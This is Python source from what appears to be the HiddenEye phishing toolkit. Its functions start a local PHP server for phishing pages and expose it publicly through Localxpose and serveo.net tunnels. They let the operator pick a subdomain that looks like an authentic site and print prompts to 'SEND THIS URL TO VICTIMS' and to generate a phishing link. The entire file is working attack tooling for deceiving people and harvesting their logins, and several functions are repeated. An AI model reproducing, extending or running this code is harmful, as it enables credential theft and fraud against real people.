def custom(port): print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)''' .format(default_palette[0], default_palette[2])) lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format( default_palette[0], default_palette[2])) run_command( './Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk)) wait(7) try: output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") run_command('clear') print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------''' .format(default_palette[0], default_palette[2])) print( "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}" .format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) print("\n") except CalledProcessError: print( '''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n''' .format(default_palette[0], default_palette[4])) wait(4) run_command('clear') return custom(port)
def random(port): run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_rand_localxpose["localxpose_random_server"]) run_command( [ "External_Software/loclx", "tunnel", "http", "--to", ":{0}".format(port), ">", "link.url", ], stdout=DEVNULL, stderr=DEVNULL, ) try: output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") print( "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO Target-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}" .format( default_palette[0], default_palette[4], default_palette[3], port, url, ) + "{0}".format(default_palette[4])) print("\n") except CalledProcessError: wait(4) run_command("clear") return random(port)
def random(port): run_command("clear") print(global_localization.hidden_eye_logo) print(global_localization.official_website_link) print(global_localization.by_darksec) print(global_localization.line_of_dots) print(localization.lang_start_serveo["serveo_random_server"]) run_command( [ "ssh", "-o", "StrictHostKeyChecking=no", "-o", "ServerAliveInterval=60", "-R", "localhost:{0}".format(port), "serveo.net", ">", "link.url", ], stdout=DEVNULL, stderr=DEVNULL, ) wait(8) try: output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") print(localization.lang_start_serveo["send_this_url_suggestion"]) print(localization.lang_start_localhost["localhost_url"] + "127.0.0.1:" + port) print(localization.lang_start_serveo["serveo_url"] + url + default_palette[4]) except CalledProcessError: wait(4) run_command("clear") return random(port)
def start_localxpose(port): def random(port): run_command('clear') print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM LOCALXPOSE URL ]{1}!! {0}\n-------------------------------''' .format(default_palette[1], default_palette[2])) # run_command('./Server/loclx tunnel http --to :%s > link.url 2> /dev/null &' % (port)) run_command([ 'Server/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url' ], stdout=DEVNULL, stderr=DEVNULL) wait(8) try: output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) url = output.decode('utf-8') print( "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}" .format(default_palette[0], default_palette[4], default_palette[3], port, url) + "{0}".format(default_palette[4])) print("\n") except CalledProcessError: wait(4) run_command('clear') return random(port) def custom(port): print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)''' .format(default_palette[0], default_palette[2])) lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format( default_palette[0], default_palette[2])) run_command( './Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk)) wait(7) try: output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True) url = output.decode("utf-8") run_command('clear') print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------''' .format(default_palette[0], default_palette[2])) print( "\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}" .format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4])) print("\n") except CalledProcessError: print( '''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n''' .format(default_palette[0], default_palette[4])) wait(4) run_command('clear') return custom(port) print(''' {1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}http://github.com/darksecdevelopers {0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n''' .format(default_palette[0], default_palette[2])) print( "\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}" .format(default_palette[0], default_palette[2])) print( "\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)" .format(default_palette[0], default_palette[2])) choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2])) run_command('clear') if choice == '1': custom(port) elif choice == '2': random(port) else: run_command('clear') return start_localxpose(port)
def set_php(host='127.0.0.1', port=80): run_command(['killall', '-2', 'php'], stdout=DEVNULL, stderr=DEVNULL) run_background_command( ["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"], stdout=DEVNULL, stderr=DEVNULL)